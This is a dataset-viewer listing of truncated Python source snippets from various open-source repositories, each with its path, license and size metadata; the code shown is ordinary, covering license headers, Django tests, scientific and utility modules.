#############################################################################... | XianliangJ/collections | CNUpdates/updates/update_lib.py | Python | gpl-3.0 | 49,836 | 0.00602 |
# This file is part of Archivematica.
#
# Copyright 2010-2013 Artefactual Systems Inc. <http://artefactual.com>
#
# Archivematica is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the ... | michal-ruzicka/archivematica | src/dashboard/src/components/mcp/views.py | Python | agpl-3.0 | 1,507 | 0.005309 |
# Copyright (C) Anton Liaukevich 2011-2020 <leva.dev@gmail.com>
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 3 of the License, or (at your option) any later version.... | saintleva/limited-apt | src/limitedapt/enclosure.py | Python | gpl-3.0 | 8,559 | 0.008062 |
# -*- coding: utf-8 -*-
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | googleapis/python-dialogflow | samples/generated_samples/dialogflow_v2_generated_conversation_datasets_delete_conversation_dataset_sync.py | Python | apache-2.0 | 1,640 | 0.001829 |
#!/usr/bin/env python
# encoding: utf-8
#
# Copyright (c) 2008 Doug Hellmann All rights reserved.
#
"""
"""
__version__ = "$Id$"
#end_pymotw_header
import EasyDialogs
valid_responses = { 1:'yes',
0:'no',
-1:'cancel',
}
response = EasyDialogs.AskYesNoCancel... | qilicun/python | python2/PyMOTW-1.132/PyMOTW/EasyDialogs/EasyDialogs_AskYesNoCancel.py | Python | gpl-3.0 | 390 | 0.012821 |
from rest_framework.response import Response
from rest_framework import status
from rest_framework import viewsets, mixins
from rest_framework.permissions import IsAuthenticated, IsAdminUser
from rest_framework.decorators import api_view, permission_classes
from apps.payments.models import Installment, RentalPaymentIn... | we-inc/mms-snow-white-and-the-seven-pandas | webserver/apps/payments/views.py | Python | mit | 3,518 | 0.002558 |
'''
Example of a spike receiver (only receives spikes)
In this example spikes are received and processed creating a raster plot at the end of the simulation.
'''
from brian import *
import numpy
from brian_multiprocess_udp import BrianConnectUDP
# The main function with the NeuronGroup(s) and Synapse(s) must be na... | ricardodeazambuja/BrianConnectUDP | examples/OutputNeuronGroup_brian.py | Python | cc0-1.0 | 2,857 | 0.014351 |
# coding:utf-8
'''
Market data update functionality
'''
from __future__ import print_function
from datetime import datetime, timedelta
from symbols import Symbols
import yahoo
def update_marketdata(from_date=None, to_date=None, sym=Symbols()):
'''
Fetch latest market data and upate it in db
'... | dp0h/marketdata | marketdata/update.py | Python | mit | 1,099 | 0.00364 |
from __future__ import annotations
import abc
import shutil
import functools
from pathlib import Path
import urllib.parse
from typing import (
Callable, Any, TypeVar, cast, Tuple, Dict, Optional,
Union, Hashable,
)
import logging
from edgar_code.types import PathLike, Serializer, UserDict
from edgar_code.util.p... | charmoniumQ/EDGAR-research | edgar_code/cache.py | Python | mit | 9,951 | 0.001306 |
from SerialBus import SerialBus
serialbus = SerialBus(baud = 19200, serialnum="ABCD")
while True:
cmd = input('Send: ')
answer = serialbus.send_request_wait(10, bytes(cmd, 'ascii'))
answer_str = "";
for char in answer:
answer_str += (chr(char))
print(answer_str)
| marplaa/SerialBus | python_lib/test_script/echo.py | Python | gpl-3.0 | 294 | 0.010204 |
"""Nearest Neighbor Regression"""
# Authors: Jake Vanderplas <vanderplas@astro.washington.edu>
# Fabian Pedregosa <fabian.pedregosa@inria.fr>
# Alexandre Gramfort <alexandre.gramfort@inria.fr>
# Sparseness support by Lars Buitinck
# Multi-output support by Arnaud Joly <a.joly@ulg.ac... | mbayon/TFG-MachineLearning | venv/lib/python3.6/site-packages/sklearn/neighbors/regression.py | Python | mit | 10,967 | 0 |
from webassets import six
import contextlib
import os
import sys
from itertools import takewhile
from .exceptions import BundleError
__all__ = ('md5_constructor', 'pickle', 'set', 'StringIO',
'common_path_prefix', 'working_directory')
if sys.version_info >= (2, 5):
import hashlib
md5_constructor... | 0x1997/webassets | src/webassets/utils.py | Python | bsd-2-clause | 6,584 | 0.001367 |
import json
import pathlib
from unittest.mock import patch
from freezegun import freeze_time
from datahub.ingestion.run.pipeline import Pipeline
from datahub.ingestion.source.identity.azure_ad import AzureADConfig
from tests.test_helpers import mce_helpers
FROZEN_TIME = "2021-08-24 09:00:00"
def test_azure_ad_conf... | linkedin/WhereHows | metadata-ingestion/tests/integration/azure_ad/test_azure_ad.py | Python | apache-2.0 | 7,798 | 0.002949 |
from django_mfa.models import *
from django.test import TestCase, Client
from django.contrib.auth.models import User
from django.contrib import auth
class Test_Models_Mfa_U2f(TestCase):
def setUp(self):
self.client = Client()
self.user = User.objects.create_user(
username='djangomfa@m... | MicroPyramid/django-mfa | django_mfa/tests/test_models.py | Python | mit | 2,572 | 0.001166 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.